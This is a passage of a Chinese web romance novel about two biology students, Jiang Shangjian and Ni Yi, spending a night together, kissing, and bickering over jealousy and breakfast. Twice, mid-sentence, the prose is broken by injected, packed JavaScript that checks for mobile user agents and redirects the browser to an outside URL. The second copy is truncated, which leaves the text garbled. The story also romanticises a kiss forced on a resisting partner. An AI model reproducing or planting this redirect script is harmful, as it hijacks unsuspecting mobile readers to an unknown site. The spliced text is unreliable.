蒋商鉴心有余悸,用疼得发颤的左手轻轻搂着她后腰窝,俩人就夹在沙发和木桌逼仄狭小缝隙,静静听着彼此劫后余生的心跳。 蒋商鉴清楚知道自己的心跳不会撒谎,他一点都不喜欢没倪旖的日子,每分每秒都期待再次相见,那种煎熬时湿淋淋的感觉就像穿着没晾干的衣服。 对他这种自卑怯懦的人而言,刻意忽视自己心意最有可能的理由也许是:他太害怕了,试图把每一种反应都向后推。 也不知道是对他自己说,还是倪旖说,言外有意或无意,喃喃细语:“倪旖,以后我都只会把你往怀里拉,再没有往外推的,不怕。” 倪旖一愣,慢慢攥紧着他胸口衣裳,轻轻嗯一声。 就那种静寂无声让倪旖闹糟糟的心绪顿时安静下来,跟蒋商鉴在一起很踏实,被搂在怀里时一股扑面而来的暖气使她全身酥松。 蒋商鉴缓片刻,还是没忍住,用嘶哑疲惫的嗓音告她:“我——” 仿佛预料到他要说些什么,不祥的预感就像雾霭一般,冷冷湿湿地聚拢,随着时间流逝缓慢低落心脏里。 倪旖连忙打断,她突然很怕,很怕他认真,笑嘻嘻转移话题:“你今晚沐浴露有种百合香混合着柠檬三文鱼的鲜甜,钻进鼻子里好好闻的。” 蒋商鉴呆滞抬眸,眼睛悲哀而凝肃,鼻尖依稀蹭到她柔软白丝绸睡衣,身上是白天吸收而来的微暖阳光气味,她那么近的脸靠近过来,长长睫毛,看着就很柔软的面部小绒毛,水蜜桃似的可爱。 霎时间,蒋商鉴好难过,心底像压着数以万计的石块,沉重得无法透气。 倪旖这样一个人,随便站在哪里,不用做些什么,无论是万众瞩目的IMO生物竞赛领奖台,还是拥挤挠攘的菜市肉摊早点街头……都会与众不同。 蒋商鉴低到尘埃里。 他现在看来像是轻轻触碰就会瓦解的幼稚园小朋友随手叠高的简陋积木玩具。 处男什么都好,就是总爱让他淳真痴情那么咄咄逼人地要求回报。 倪旖不觉得这些人愚蠢,但也不觉得他们单纯。 倪旖之前很怕这种努力类型对象,他以为对女孩好就可以得到平等回馈,好简单的学生思维,太过可笑,至少现在,她不打算搭理,顶多爱招惹,处男吃醋很好玩。 但,他是蒋商鉴啊,那么好的蒋商鉴。 “你现在像蜡瓶糖那科技感十足的配料柠檬诱惑黄。”倪旖适当开玩笑,随后挣脱束缚,自己处理事情去,只是蓬松不整的头发和揉绉的衣服上看,她经历了一场不大不小的暴乱。 吓死她了,快要忍不住亲上去,想吻他。 “如果时间一直停在这里,就好了。”蒋商鉴喃喃道,垂眸望向倪旖的眼神带着种被摒弃的、冷清清的味道。 原以为他喜欢的是规规矩矩小女孩,却遇着倪旖这爱搞那一套寻死寻活撒痴撒泼的玩意儿,此后在她看不见的角落,他总是眼光贪婪在她无忧无虑脸上来来回回搜寻。 倪旖见状也关掉灯按键,只是她缩在地毯上玩手机,那手机屏幕白光照得她脸阴森森的,时不时特诡异乐一声,搞得他半小时都没困意,想瞅瞅她看啥呢。 一心里有事就莫名其妙搁那犯多动症,翻来覆去的挣扎,要不要问问。 那种羞涩小女孩表情好让他难受,蒋商鉴迫切想知道她跟谁发消息,辗转反侧就睡不着,就这么憋屈熬着酸。 猛然几个字眼敲打他脑神经,什么“国外”、“泡妞”、“苹果树”……真是,一米不到明明有个好草一直等着被薅呢,你倒是回头啊。 妒火又在胸中燃烧,蒋商鉴自然而然就烦躁了起来。 真是莫名其妙,独占欲竟强得超乎想像,就连她这样跟还没确定是否为联姻对象发消息,蒋商鉴都觉得受不了,根本无法忍受,这使他惴惴不安。 遇着喜爱的人相关事情,鬼知道他有多吃醋。 他根本没想象中那么宽大,也不具备那份涵养。 此刻寂得让蒋商鉴的心,隐隐抽痛。 也不知道凌晨几点,蒋商鉴就偷偷跟倪旖单方面闹矛盾了,时刻注意倪旖在干啥,敲了不知多少字,也不知道羞涩笑了几声,她估计很困,没多久就睡着。 可是她居然爬到他睡的长沙发上,就这样窝在他怀里那空留下的一小块面积,蜷缩着,像个小猫一样的睡姿。 蒋商鉴焦灼万分,躺沙发上脑子全是她,根本睡不着。 “我很想你,出国会不会无聊……”倪旖迷迷糊糊说梦话。 蒋商鉴攥着沙发,想把她踢下去,还是一直忍着苦涩难受,酸溜溜的。 大概凌晨五点多,倪旖揉揉眼睛,睡意没那么重,应该是熬过头,便抬手准备摸到茶几上的耳机准备听歌再睡会,毕竟不睡觉会死人的。 倪旖眯着眼睛养精蓄锐,还没摸到手机,就感觉背对着的蒋商鉴一直往她这边靠,但是没碰到快把她挤掉下去的程度,不过……也快了。 突然,蒋商鉴从后背抱紧了她。 倪旖刚选好一首很醉醺醺意乱情迷的法语歌呢,那货把一边耳机摘下来戴着,然后就直溜溜一把将她了过去面向他,不费吹灰之力,跟薅小鸡崽子似的。 他干嘛? 蒋商鉴把前额抵在倪旖侧颊处,剧烈喘息想使自己冷静下来,但胸中燥热难堪,许多纷杂的念头在脑中起伏不已,纤长的手指轻轻磨蹭着倪旖光滑软嫩的手背。 倪旖有点赌气,被这样毫无尊严翻一面来就是得不动来表示抗议。 蒋商鉴笑了一笑,笑意里有涩味,神色却很落寞。 黑暗中,他就这样深深看了一会,鸷猛眼光越来越强烈,锐利盯在倪旖脸上,还没逃脱,他眉垂下来,眼睛眨了眨,一种疲倦的、心灰意冷的神色逐渐爬上眉,眼泪慢慢涌进眼眶,沿着颊流下来,滴在倪旖的衣襟上面。 倪旖呆愣,他敏感得可以用手摸到痛苦。 蒋商鉴的指尖轻柔抚摸她眼睛,缓缓向下滑去,眸中无限深情。 “倪旖……” 很浅的呢喃声后,蒋商鉴情不自禁迫近。 突然吻了上来,很霸道,窒息的吻。 接着,他的唇就狂热且痛楚地吮吸着她的唇。 卧槽—— 倪旖整个人就懵圈,攥着他胸口衣裳,极端不配合,期间,想用点劲儿推开,发现根本动不了,他一只手把她两只手牢牢拿住了,只得脑袋往后缩,可惜,还没实验成功,就被他另一只手按住了,根本动弹不了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246159|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 接吻时,蒋商鉴觉得跟她有相同频率的心跳,就好像共享着一个心脏。 倪旖起先还是反抗,接吻技术太青涩,后来较上劲,亲得很凶猛。 这次倪旖彻底恼怒了,她不允许自己被撩拨地如此口干舌燥。 蒋商鉴稍微隔着点距离,微微蹙眉,带着急促喘息,笑得撩拨:“倪旖,你是饿了?” “才不是,就你那雷声大雨点小,还浅尝辄止,不好玩,咱直接舌吻吧,我教你。”倪旖吞吞口水,接着便稍微倾斜朝上将嘴巴凑过去,只是那人往后躲躲。 “你舌头刚刚都在我嘴巴开舞会了,那旋转跳跃的。”蒋商鉴生闷气。 “那不亲呗。”倪旖被说得不好意思,傲娇道。 “我不要。”蒋商鉴还没够呢。 “那你随意,我就想眯一会。”倪旖特不想纯情接吻,懒得搭理。 “那我也不亲了。”蒋商鉴说着也不乐意。 “你亲你的呗。”倪旖真就无所谓,就是□□交换而已。 “会丢掉尊严。”蒋商鉴沉沉道。 “丢东西抓小偷去找警察,我不管这事儿。”倪旖模糊说话,脑袋不清楚。 蒋商鉴闷闷笑了一声,将人搂在怀里哄着:“小偷没自知之明。” “偷心大盗我能认,偷你尊严干嘛?又不值钱。”倪旖哼唧哼唧。 “尊严很值钱,稍微往下降低就会跌入万劫不复的。”蒋商鉴自言自语。 “什么?”倪旖没听仔细。 “没事儿,你被亲就这么习惯嘛?不是说,女孩子亲吻会小声嘤咛嘛?”蒋商鉴真的迷惑,她就很与众不同。 “小兽般呜咽声嘛?妈的,我丫嚎一嗓子楼道感应灯全亮。”倪旖笑得发抖。 蒋商鉴没说话,就默默看着她,认真道:“有感觉么?” 倪旖脑袋转得快,偏偏搅浑水:“顶我腰了。” “不是这个。”蒋商鉴恼羞得脸颊又上了颜色。 “是因为我?”倪旖不依不饶。 “不是,天快亮了。”蒋商鉴迫于名誉,赶紧解释,这一着急又一漏洞暴露。 “天还没亮。”倪旖目光投向窗外。 “快了。”蒋商鉴稍微改变姿势,怕她被戳着难受。 其实蒋商鉴刚见面时就知道他俩家庭不合适。 但还是拒绝其他人的示爱,就想和她走一段没结果的路,虽然时间不会长的,可留住她和放过她,都难以心安理得做到。 黑暗中,倪旖脑子不太清醒,但到底懂一些。 倪旖这次突然被吻彻底确认他俩的关系,就是蒋商鉴很喜欢,但他不敢,还有选择地去避开这段关系。 但是他又惦记。 他以为就像夏令营一样,参加完了,回到最初。 可,他发现回不到了,又无法面对勇敢示爱后有倪旖的世界。 他自己一个人又不敢但又喜欢,简直自己折磨自己。 倪旖想着,她好喜欢蒋商鉴被折磨时碎掉的模样,太惹人垂爱。 所以,就再吊着他痛苦一段时间。 毕竟,玩呗,她开心最重要。 她只能这样暗示自己,这种牵肠挂肚感觉让她感觉一种危险失控感。 她担心受怕的。 “商商讨厌小孩子,那有考虑过结扎嘛?”倪旖笑得一脸奸诈。 蒋商鉴深刻认识到魔鬼倪旖欠揍个性,做好事是没长期规划,但做坏事那可是十分精通,眼睛一闭一眨就出来个坏主意。 被她刚刚这么看一眼,他觉得受到了性骚扰,幽幽道:“我可以选择不生,但我必须要有生育能力,这很重要。” 倪旖摸摸他撒下来的发丝,依旧笑得猥琐:“你要结扎,以后我俩要做的话,这样不是更爽?” 蒋商鉴思索片刻,认真道:“那你就坐享其成?” “什么玩意儿?”倪旖被戳穿心思,恼羞成怒,“那我第一次要被天然橡胶?” “再说,好不好?”蒋商鉴随便敷衍。 “反正我不喜欢小孩,你去结扎嘛,咱每天都不用担忧出人命。”倪旖忽悠。 “倪旖,你是学生物的,我也是,所以你在害我,我其实都知道。”蒋商鉴一阵心寒。 “谁乐意害你?结扎之后还能接上嘛,没什么大不了的。”倪旖继续忽悠,用温柔蛊惑人心的甜腻腻嗓音缠绵一番。 蒋商鉴有时候觉得她单纯得愚蠢,可现在她面庞有一种□□的妩媚,让人想起宁可美艳地腐烂也不悄然枯萎的花朵。 他喜欢她面色潮红,他想独占这份喘息。 “倪旖,风险你难道不知道?”蒋商鉴直勾勾盯着她。 倪旖被看得有点害臊,他真的好帅,好伟大的脸,小声嘟囔:“男性结扎是绝育手术,把男性两个输精管结扎就完事了,很简单小手术。” “倪旖。”蒋商鉴严肃起来。 倪旖只好硬着头皮继续敷衍:“我不知道。” 蒋商鉴捏着她下颚骨很严厉批评:“怎么说谎呢?” “没说谎。”倪旖眼神闪躲。 “你刚刚不都说了这是个绝育手术?”蒋商鉴给她提醒着,瞅着倪旖委屈得快哭出来的小可怜模样,真的心都软,看到这个表情的他差点停止心跳,所谓令直男窒息的感觉,也不过如此吧。 倪旖别开视线,咬着下唇模糊不清地小声道:“近期的并发症主要包括出血与血肿、感染、痛性结节、附睾淤积症,以及继发于心理或……” “你不都会嘛?”蒋商鉴松手掌凑下身给她唇边来个奖励性质的吻。 “那你结不结扎?”倪旖知道都已经强弩之末,可还是不死心。 蒋商鉴好生气,直接堵住她的嘴。 吻了大概五分钟的样子,也许有十分钟,具体不知道多少时间。 倪旖被亲得很舒服加上困意,支持不住就打瞌睡敷衍,随便他亲,也不回应。 蒋商鉴抱着她腰越来越紧,像怕她跑了一样,但他貌似觉得还不够紧,一直往他小腹摁着,那种碰着鼓胀腹肌僵硬感觉硬生生让她保持几秒钟清醒,然后他又把倪旖手放他胸上感受他心跳,很有力跳动得很急,那种震撼感觉好奇妙。 可是,生理睡眠欲望还是很强烈,倪旖迷迷糊糊说梦话模样:“干嘛?” “我只是怕你跟别人走掉。”蒋商鉴很难受。 “不会啊。”倪旖很敷衍。 很敷衍的下场就是再被嘴对嘴很湿润吻一遍。 倪旖简直要揍人,她被亲得浑身发痒:“都说了不会!” “那你跟联姻对象还大晚上跨越时差发消息?”蒋商鉴酸溜溜的。 尽管蒋商鉴很吃醋,但为了掩饰醋意,将吃醋伪装成生气,夹杂愤怒和被冒犯的感觉,就连此刻说话都带着点淡淡歇斯底里那一丝讽刺。 语气会暴露一个个最隐蔽的心思,这种奇妙质询还是让倪旖感觉到怪异,脑袋一转,笑嘻嘻问:“商商怎么总喜欢就一口醋包一顿饺子。” 33.鱼干 “我就随便问问,关心你个人生活而已。”被戳破的难堪,蒋商鉴试图反驳,用不算解释的解释去解释,但显得很拙劣、尴尬。 倪旖无语敷衍:“我国外老师门下师姐。” “真的么?”蒋商鉴欣喜若狂。 “假的。”倪旖幽幽道,故意气他。 蒋商鉴又陷入谷底,不吭声,好一会儿,才战战兢兢问:“你,额——” “废话,睡觉,也不嫌累……”倪旖到后来话也说不清楚,就知道那家伙一直吻她嘴巴,搞得她呼吸困难。 “倪旖?”蒋商鉴轻声唤着。 “嗯?”倪旖很烦躁,可还是有问必答。 “可不可以不要骗我。”蒋商鉴莫名委屈。 “不是你想得那样。”倪旖低声解释。 “那可不可以——” 像是猜到他意思,几乎下意识,倪旖慌忙打断:“不可以!” “我是谁?”蒋商鉴沉默几秒让步道,怕她忘记,就像反复确认门窗是否关严实的焦虑症患者似的。 “商商。”倪旖觉得他脑袋有病。 “全名。”蒋商鉴非得让她记得。 “不知道,睡觉睡觉,困不困,不准说话,再说我揍你。”倪旖扒拉他手,可那货手劲贼大,光是锁着就掰不开。 “对不起,没经过你允许就擅自吻你。”蒋商鉴轻声说。 “没关系,被帅哥亲我也挺高兴的,而且这帅哥还不是一般帅呢。”倪旖迷迷糊糊回答他,心想,还知道道歉,刚刚接吻那么厉害,估计吃了醋一下子不理智。 “那我明天可以跟妃子他们说这件事嘛?”蒋商鉴怕嘴不严实顺口就来。 “嗯?”倪旖甚是无奈,“我无所谓的。” 蒋商鉴耳尖都红透,小声说:“我就是有点子虚荣,很想跟他们说,我亲到一个女孩的嘴巴,软软的,香香的。” “之前没亲过吧,这么纯情,以后慢慢教你,我可会接吻。”倪旖骄傲道。 蒋商鉴不回答,一肚子闷气,她经验丰富,跟谁一块儿练习的,哼~ 过了好一会,倪旖算是适应这种被锁着的睡姿,刚陷入睡眠,梦都做到开头。 突然—— “倪旖,睡了没?” 倪旖一激灵,清醒一瞬间,那一刻,想了好多管制刀具,现在在国内,不然就是枪支弹药弄死他,叹息一口气,无奈道:“干嘛?” “没事,就问问。” “……” 问你妈你爸你姥姥你姥爷你太姥爷……你祖宗十八代。 倪旖气得没影,到嘴边也只是耐心的语气:“商商,如果你胆小慢热,需要别人千百次的主动才愿意相信那是真的,我愿意慢慢让你放下警惕。” 就算这种恋爱感觉让她也很想逃离,她捧着一个男孩的心脏不知所措。 蒋商鉴没说话,假装睡着,实则鼻酸想掉眼泪。 她说得真好听,明天就忘记。 倪旖早晨起床,半眯着眼睛晕晕乎乎下楼去大客厅,睡觉是二楼客厅,一桌子早餐,还有便利贴被风吹得翘尾巴,太过震惊。 倪旖眼睁睁看着那双近在眼前微微合起双眸,长而密睫毛轻轻颤动着,半翕着唇,一动不动地由风掠过,就像刷在了她的心上,酥酥麻麻地痒。 “田螺帅哥准备早餐?”倪旖摸摸乱糟糟头发,拉着椅坐一边。 几片薄纱似的阳光透过窗帘映进窗内,蒋商鉴安静微微打盹模样。 被纱帘撩得摇曳不定的碎光在他脸颊跳跃着,刺激他缓慢睁开朦胧的眼。 “洗漱好就吃饭,不知道你爱吃什么,就随便弄了点对付对付。”蒋商鉴垂眸时眼皮有些笑意,更多是倦意,脑袋昏沉。 海蟹裹上蛋液面粉粗粗炸过,然后爆炒,壳酥肉嫩,倪旖很喜欢早餐有嚼劲的凉饼包这个,一口吞下半只蟹。 倪旖迫不及待就夸赞:“师哥,你厨艺好棒。” “没吃呢。”蒋商鉴笑容带疲倦。 “它告诉我的。”倪旖盯着食物。 在那短促的一瞥中,蒋商鉴注意甚嚣尘上的生命气流露在她脸上,在她那亮晶晶的眼睛间掠过。 那大概是一种蓬勃的,欢快的,肆意弥漫的颜色。 “倪旖,我先走了。”蒋商鉴起身就准备离开。 倪旖攥他粗粗手腕,他手很是干净修长,骨节分明的手指慢慢蜷缩,从白色洁净外套袖口中露些来,衬着手背青血管愈加明显,抬眸:“不一起吗?” “早八助教代课,还受邀参加辩论表演赛,没时间。”蒋商鉴有些虚弱,连唇色都红润得不正常。 “啊?”倪旖慢慢松开手。 “课程都有配套实验解剖课程,白天都没空。”蒋商鉴暗示莫挨老子,真没时间再管你这些糟糕事,也不想跟刺激他欲望的源头整天待着,他很怕。 “吃两口再走。”倪旖怕他饿肚。 “身体不太舒服,没胃口。”蒋商鉴揩微微发红那脸颊的虚汗。 “喝点粥吧。”倪旖说罢,准备给他盛粥,小瓷碗口微微敷着一层雪菜瘦肉白粥,他早盛好,还挺细心,怕她烫。 “不用。”蒋商鉴刚要拒绝,唇边就被小瓷勺碰着,便只好接过碗。 倪旖看蒋商鉴慢慢进食,很斯文儒雅,他随意撩开头发,她心脏就像被蚂蚁咬一口又一口,泛起一层又一层细细密密的酥麻,胸腔里全是猛灌了半瓶苏打水涌起气泡,微微膨胀收缩。 他吃饭真漂亮。 好想把他当作宠物关到金丝笼里养着。 让他每天都斯斯文文吃饭,助兴。 “我先走了。”蒋商鉴将粥喝完,用纸巾擦擦微微红的嘴,攥着包就准备离开她家大别墅,用眼神制止她接下来的话,就她那老色批模样,指不定来干嘛。 “注意安全。”倪旖悻悻而归。 “嗯,晚上见。”蒋商鉴欲离开。 倪旖突然攥住他衣袖,在背后幽幽地说:“你看看你少了什么东西没?” 蒋商鉴很奇怪:“没有吧。” 倪旖低头很小声说:“我要向你承认错误。” 这话跟撒娇似的。 漂亮女孩撒娇成功率其实很低,男的会忍不住多看一会儿,蒋商鉴想着,倪旖撒娇,总有走样感觉,可他顿生一种罪恶感,会忙不迭答应以便于制止罪恶。 好可爱的小女孩。 倪旖拽着手指温吞解释:“我昨晚其实起来是好饿,家里零食腻歪劲儿,我找了半天没找到好吃的,就去你那儿找,看到你背包里那盒鱼干,看上去很好吃样子嘛,我就偷拿了两袋。” 蒋商鉴如释重负:“没事儿。” 倪旖小声呢喃:“可我觉得我很委屈。” 蒋商鉴心都软掉:“哦?” “这鱼我吃下去都要崩溃了。麻蛋怎么会这么辣?辣到我怀疑人生。我当时死的心都有,我在想这难道就是偷人家吃滴报应?”倪旖愤愤不平。 蒋商鉴想笑,这小北狄哪吃得惯辣味儿的东西,估计一嘴巴下去,心理阴影不可求,真逗啊,又怕她哭,便安慰好一番:“乖啊,现在还委屈嘛?” “你哪买的,辣到我胃痛。”倪旖眼里亮晶晶,还趁乱揩油偷偷抱他。 “流浪猫爱吃,拌饭鱼干,你没瞅着包装上好多猫嘛?不过我买错口味了。” “……”倪旖想死,她还以为是营销可爱猫咪包装吸引顾客的。 “猫都能吃,何况是你,不中毒。” “……” “我走了。”蒋商鉴准备走,可还得解释一下昨晚做出的错事,“你还记得昨晚就那啥嘛?” “……”倪旖一愣,差点忘了昨晚那事情,有点记仇,差点让她窒息,那么霸道,居然摁着她脑袋接吻,亲得她要死,但是出于勾搭暧昧,于是脑袋一转,“我做梦跟前男友舌吻吵到你了?对不起,我吧唧嘴肯定很烦。” “……”蒋商鉴突然有点失落,随后叹息,她到底有没有前男友。 如果她记得,这么骄傲小姑娘一定会不跟他说话,可一点点都没印象嘛? 她是太困,加上有酒精迟来的作用嘛? 幸好她忘掉,不然都不知道如何相处,她只是玩玩,就算……玩得很真诚。 “亲你是我莽撞,倪箴他拉红绳很急嘛,一下子失去重力。”倪旖嘟囔。 蒋商鉴点点头,幸好她还记得亲过他唇,虽然就记得干的。 可还是吃醋,蒋商鉴幽幽道:“不要找借口。” 干嘛说些抽象的,就算你现在要亲嘴,你说一声,又不是不让。 蒋商鉴醋溜溜想着。 “哎,那儿有二十块钱。”倪旖突然就惊讶。 蒋商鉴探头望着,不知道出于什么心理,就低头四处瞟着,开玩笑道:“哪儿呢?哪儿呢?我怎么没——” 话还没说完,蒋商鉴就呆住,嘴巴上贴着软软的东西。 那眨巴眨巴大眼睛就机灵转着,靠得好近。 倪旖用温润舌尖轻轻舔了一下他的唇,随后隔开点距离,傲娇道:“我从来不找借口的,我就是爱亲嘴,尤其是和大帅哥亲嘴,正大光明去亲。” 这话,蒋商鉴好生气,爱和帅哥接吻,只要帅的都可以,无论是不是他。 本来倪旖觉得她这段宣言挺帅,就是蒋商鉴背影怎么貌似很生气。 “酷不酷炫?”倪旖感悟能力有时候就很莫名其妙的。 蒋商鉴回头瞪了一眼,气呼呼道:“酷你个头。” 倪旖像被嗾使的猎犬上前。 这个爱吃醋的处男的心思真难揣摩啊! 说“是”表示“不是”,说“不”但又表示“是”。 到底什么意思? 蒋商鉴怔怔望着她慢慢逼近自己。 倪旖踮起脚,一把薅住他领口,强迫他往下微微俯着,吧唧一口吮他脖颈,在他懵逼状态还舔好几口他喉结,几秒后才望着那暧昧草莓吻痕,甚是满意点点头。 蒋商鉴抬手摸摸那块地方,装作若无其事:“你这吻好粗暴,跟动作戏要揍人似的,一下子薅我衣领子。” “很酷的。”倪旖抛了个媚眼。 “……”蒋商鉴咬牙切齿,“你还挺熟练啊。” 倪旖立马听出反常,解释道:“我没跟别人搞出吻痕的,还是在喉结上。” 传说中从来没谈过恋爱的狗女人? 这像没谈过恋爱的? 这么会来事,真的没谈过恋爱? “倪旖……”蒋商鉴喃喃自语。 倪旖的一颗心突然软得一塌糊涂。 果然处男就是好玩。 倪旖在听到他唤自己名字时,难得觉得自己这丫鬟般土狗名字好听些,但为了所谓尊严,却只淡淡地抬了一下眼皮说:“偶尔接吻也是激素要求。” “我不需要你来跟我接吻。”蒋商鉴来了气,好家伙,接吻不是确认关系,纯粹就是想接吻,就跟饿了想吃饭一模一样,肢体动作而已。 “可我需要。”倪旖轻描淡写道,处男很纯爱,所以要先玩玩让他成熟,小弟弟思维特麻烦,就算被踹也只会一个劲纠缠,很烦人的。 蒋商鉴就见她开心地踮起脚来拥抱,越过她的肩,看见空荡的海。 每次和倪旖接触,蒋商鉴又是高兴,又是难过,让人感到有过剩的意识戳向皮肤,使人痛得发麻。 对和倪旖确定关系,既憧憬又恐惧。 明亮阳光照在倪旖细腻后脖颈肌肤,显得特别白皙。 蒋商鉴假装不在意,故意偷偷用唇短暂碰触一下,闭着眼睛想到倪旖朝他灿烂憨笑,光是想想,几乎能听到心脏在薄薄一层皮肤下迸发激烈跳动的声音。 每个人的道路都不同,蒋商鉴清晰知道他走在荒芜人烟的野路上,倪旖走在她人声鼎沸的花路上,他俩都不是一条道的,可他还是想一条道走到黑,只不过,要试试逐渐靠近倪旖——他很喜欢的女孩。 蒋商鉴到底胆怯,只敢想想,还是垂头丧气出门去。 蒋商鉴心脏空荡荡,随便在小区的门口拦了辆出租车,车还不错,路虎,只是他没关注,无意识思考连车门都不注意,上车时腿被门反弹一下,骤然,疼得咝咝抽气,有些踉跄半跪着钻进去。 司机只是从倒视镜里淡淡瞟了他一眼。 这个应该就是倪先生女儿交代送到目的地的。 样貌真不错,哪里是大小姐说的獐头鼠目? “去岽大。”蒋商鉴微微蹙眉,小力道揉揉被砸得发痛的小腿肌肉,垂眸坐在后座淡淡对司机说,准备关门时门突然被一股力道给扯出,略带疑惑望去,看到的是阳光灿烂的倪旖。 倪旖冲上来,俯下身给他大大拥抱。 蒋商鉴错愕在原地。 他失神,突然产生一种轻率的期待,觉得世道也许会改变,就算不是一条道路的男孩女孩也可以在一起的。 他也怀疑是不是过于单纯?可他实在不能想象当两个人很相爱的时候,突然出现一个有关或者无关的人类说:不行,你们不能在一起。所以,要适应潜规则之类的老生常谈,与其那样还不如死亡来得好。 好像太偏激,蒋商鉴自我怀疑。 可是他真的舍不得放手,连彩票都不信,现在却想搏一搏运气。 也许,也许可以牵手的。 “商商,我怕你走错路,才跑来确认。”倪旖微带着喘息。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“大鸡腿,我昨晚还梦着呢。”倪箴顶着一脑门睡眠不足的低压,像条苟延残喘的老黄狗一样艰难爬了起来,踩着“啪嗒”“啪嗒”的脚步声来餐桌边跟皇帝视察般逡巡。 倪箴用手吃得香。 手指轻轻叩着黄花梨木椅子扶手,倪旖没搭腔,只余一派沉思。 “你昨晚哈喇子怕是把蒋商鉴给淹了吧,馋鬼。”倪旖幽幽道。 “……”倪箴啃鸡腿动作一顿。 倪箴认真回忆是否馋到咬他胳膊,认真回复:“没。” 倪旖十分不信,低头捞着小馄饨吃,真的特别鲜美。 倪箴满眼嫌弃:“你吃饭我给看饿了,吃得跟八戒似的。” 倪旖立马反击:“你刚刚吃得也像八戒,槽食懂嘛?呜呜呜呜那种。” “香辣鸡腿很好吃,这个香辣粉撒在啥上面都好吃。”倪箴认真啃着鸡腿。 “撒鞋底也好吃?”倪旖跟他较上劲了。 “那不一样的。”倪箴眸色正直,随后淡淡,“撒你鞋底上就不好吃,你有脚气。” “我没。”倪旖否认。 “那你袜子臭死人,看蒋商鉴以后给不给你洗,他要洗的话,爸妈都同意你俩鬼混,毕竟不是谁都能忍受的。”倪箴举着鸡腿,就那表情很捉摸不透。 倪旖才不接受诽谤呢,义正言辞道:“不臭的,就是那次我有课题便泡在实验室好多天,懒得洗澡,那时期比较邋遢。” 倪箴呵呵两声,一个斜斜的白眼就瞥见那极其工整的豆腐块空调被,深知姐姐的懒惰,便开玩笑道:“找蒋商鉴得受罪,这强迫症,啧啧——” 倪旖难得赞同,这下来了劲,喋喋不休抱怨:“蒋商鉴那性子一点都不随意,他把厨房鸡蛋盒里球类物体摆得跟军队似的,手机软件图标都是按颜色分组,组内按颜色饱满度排序。” “没啊——”倪箴探头看一看开放式厨房那鸡蛋篮子。 “哦,他不是要仪式感?我全给破坏了。”倪旖笑得极其阴险。 倪箴白了一眼,随后一愣,难以置信:“你怎么知道他手机软件排序?” 倪旖骄傲昂起头,举着右手食指,炫耀着指纹:“他很单纯。” “咦咦咦——”倪箴皱眉,“你变态。” “蒋商鉴愿意的。”倪旖晃着肩膀,那嘚瑟小表情拿捏得死死的。 倪箴啃着鸡腿嘟囔道:“那你发现什么?” “懒得看,联系人那么多翻到翻不过来,”倪旖淡然,端着白瓷碗喝一口粥,装作不经意说漏嘴,“不过,我只知道他有个特别关注的联系人。” 倪箴隐约察觉不对劲,两只手扒拉四根鸡腿,嘴巴里还叼了一根,神色警惕,盯着她眼睛一眨不眨的,慢慢往后退,企图转移。 倪旖见状,嘴巴跟机关枪似的抖落:“是我,只有我哦,蒋商鉴是不是早就喜欢我?还给我备注小可爱,我一点都不母老虎,明明很可爱,我跟你说——” 话还没听完,倪箴拔腿就跑,早就预判她会喋喋不休。 蒋商鉴骑单车到校碰着室友妃子。 “昨晚干嘛了?彻夜未归,被哪小妖精钩去魂了?别骗我,你绝对有对象了,说罢,谁?好歹你悠着点,酸哥刚分手,你别秀恩爱再伤着他。”妃子背包满脸期待,跨步走过来,就是爱逗他,逗单纯人玩这个过程有种别样的愉悦感。 蒋商鉴瞥一眼他,满脸怨气:“在他那段感情,我也是受害者。” “用你脸盆洗脚?”妃子唇角微微一勾,似笑非笑,指着自己微微发青的眼窝,“他半夜钻我被窝哭,吓得我半宿没睡,我也是受害者。” “我也没睡。”蒋商鉴耷拉眼皮。 “一夜没睡?”妃子一愣,凑上去佩服道,“这么持久?厉害啊。” “……”蒋商鉴握拳锤他,笑着抱怨,“去你的,我跟倪旖弟弟睡觉,弟弟睡没睡相的,还一个劲儿搂我,特烦呢,我都想踹他下床,小混蛋。” “你又找倪旖?”妃子微微蹙眉,很是担忧,默然几秒,“想开了?不过,哪种睡觉?还转移战火?你做点人,人家弟弟太小了,估计都没发育完。” “你滚——”蒋商鉴眼神瞬间黯淡下来,促狭道,“不是因为她家权势,我只是想很平等和她相处。” 蒋商鉴现在还清楚地记得倪旖跟他海边月夜聊天场景,黑色礁石有浪激逐,与他谈课题方向,倪旖说她就想搞倾向于纯生物课题,最基础那种,要离应用生物拓展领域远点。 蒋商鉴跟她想法类似,极端抽象主义潜在者,投身实际,贡献时代,比不上发现自然规律那么振奋人心。 倪旖这话让他沉默了。 34.硬了 原以为,正值青春期的小女孩倪旖精力旺盛好奇心强没啥分寸感还叛逆,那可真是三体人进了屋都得被薅一把头,可倪旖的鉴别能力是和她知识成正比的,倪旖所拥有的知识储备绝不亚于他这所谓博士。 他俩一直清晰知道现代生物能靠个人探索获得人类性进步是微乎其微的,论文发表冲击KPI考核都是硬性指标,有一丁点价值的不过总量前百分一,连他现在不得不为了小组课题涉及应用领域。 越透明的东西越神秘,自然万物,拓展开,宇宙,本身就是透明的,只要目力能及,你想看多远就看多远,但越看越神秘。一般规律就是这样美丽。 知识给人勇气,无知也会,蒋商鉴那时默默待在一边望着她认真说话,她眼里是空旷和冷静,旁观者似的记录一切,这是知识给她的谦卑和无畏。 蒋商鉴问,生物是理论吗?倪旖说不是。 蒋商鉴又问,生物是应用吗?倪旖说也不是。 蒋商鉴再问:那生物是什么?倪旖说:是薛定谔的猫。 倪旖抬眸淡淡问,生物是总结一般规律?是造福人类?它只是存在,暂时存在我们这一阶段的认知领域,或者根本不存在。我们只是记录者,没法定义。 